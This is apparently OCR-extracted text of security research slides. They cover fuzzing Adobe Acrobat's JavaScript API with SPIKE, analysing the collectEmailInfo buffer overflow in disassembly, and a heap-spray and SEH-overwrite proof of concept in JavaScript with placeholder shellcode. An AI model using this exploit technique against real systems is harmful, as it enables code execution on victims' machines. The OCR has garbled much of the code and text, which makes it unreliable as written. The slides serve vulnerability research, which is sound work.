for argName,info in funcArgs.iteritems():
if not first: spk.s_string(“,”)
else: first=False

spk.s_string(argNamet”:”)
if info[ “type”] in (0x3, 0x6): #ASCII or UNICODE string
spk.s_string(™")
spk.s_string_variable(“default”)
spk.s_string(“")
spk.s_string(“}); } catch (e) { }\n")
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Smart fuzzing with SPIKE

 It'll create javascript code like this:

try { Collab.collectEmaillnfo({ to:’ AAAAAAAAAAAAAA...,
msg:'default’,cc:'default',... }); } catch (e) { }

try { Collab.collectEmailinfo({ to:"\n\n\n\n\n\n\n\n\n...", msg:'default’,cc:'default’,... });
} catch (e) { }

try { Collab.collectEmailinfo({ to:"\\\W\\WW\W\\...", msg:'default',cc:'default’,... }); } catch
(e){}

try { Collab.collectEmaillnfo({ to:'\"\"\"\"\"\"\"\"...", msg:'default’,cc:'default',... }); }
catch (e) { }
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An Example:
the collectEmailinfo Bug
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Finding the colleEmailInfo ug

« Using the fuzzing strategy showed
before we can find this bug:

- Hook method's registering function

- Execute collectEmaillnfo method once to
get its arguments

- Fuzz each argument with SPIKE

- This method opens a new window for each
successful execution, so you'll need a
script to automatically close new windows
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Analysing the collectEmaillnfo bug
e Acrobat will crash w1th an AV exceptlon if

“argument
PUSH EBP
0139FFFF 8DAC24 6CEOFFFF LEA EBP,DWORD PTR SS:[ESP-1F94]
013A0006 B8 14200000 MOV EAX,2014
013A000B EB8 A0202800 CALL AcroRd 1.016220B0 ; alloca_probe

013A0030 53 PUSH EBX : MSG STRING
E8 3C31D4FF  CALL <AcroRd_1.wstrlen>
8945 8C MOV DWORD PTR SS:[EBP-74] EAX

OFB703 MOVZX EAX,WORD PTR DS:[EBX] ; kind of memcpy Start

66:89447590 MOV WORD PTR SS:[EBP+ESI*2-70],AX ; CRASH!
46 INC ESI

81FE 00200000 CMP ESI,2000 ;

75 26 JNZ SHORT AcroRd_1.013A013D ; bytes != chars

43 INC EBX
43 INC EBX
FF4D 8C DEC DWORD PTR SS:[EBP-74|
837D 8C 00 CMP DWORD PTR SS:[EBP-74],0
013A0146 "OF85 O3FFFFFF JNZ AcroRd 1.013A004F ; Loop End




Exploiting the collctEmaiIInfo bug

« We can overwrite SE Handler with an
arbitrary value

0012EA44 09090909 ....
0012EA48 09090909 .... Pointer to next SEH record

0012EA4C 09090909 .... SE handler
0012EA50 09090909 ....

« Using heap spray we can fill memory with
our shellcode and wait until the OS process
SEH chain and direct execution to our

shellcode




function repeat(count,what) {
varv=""
while (--count >= Q) v += what;
return v;
}
function heapspray(shellcode) {
block=";
fillblock = unescape("%u9090");
while(block.length+20+shellcode.length<0x40000)
block = block+block+fillblock;
arr = new Array();
for (i=0;i<200;i++) arr[i]=block + shellcode;

}

heapspray(unescape(“% ucccck ucccc”));

Collab.collectEmaillnfo({
msg:repeat(4096, unescape(” % u0909% u0909”))});

PoC of collectailInfo bu
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Conclusions

Embebbed Javascript engines open a new
world for security testing

Blind fuzzing is not an option anymore

Immunity Debugger offers tools to improve
your vuln-finding experience

- Static + Dyanamic analysis is
particularally powerful in this example

Embedded scripting engine implementations
have a wide exploration area to be

researched
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Thank you for your time

Contact me at:
pablo.sole@immunityinc.com

IMMUNITY .‘. Security Research Team
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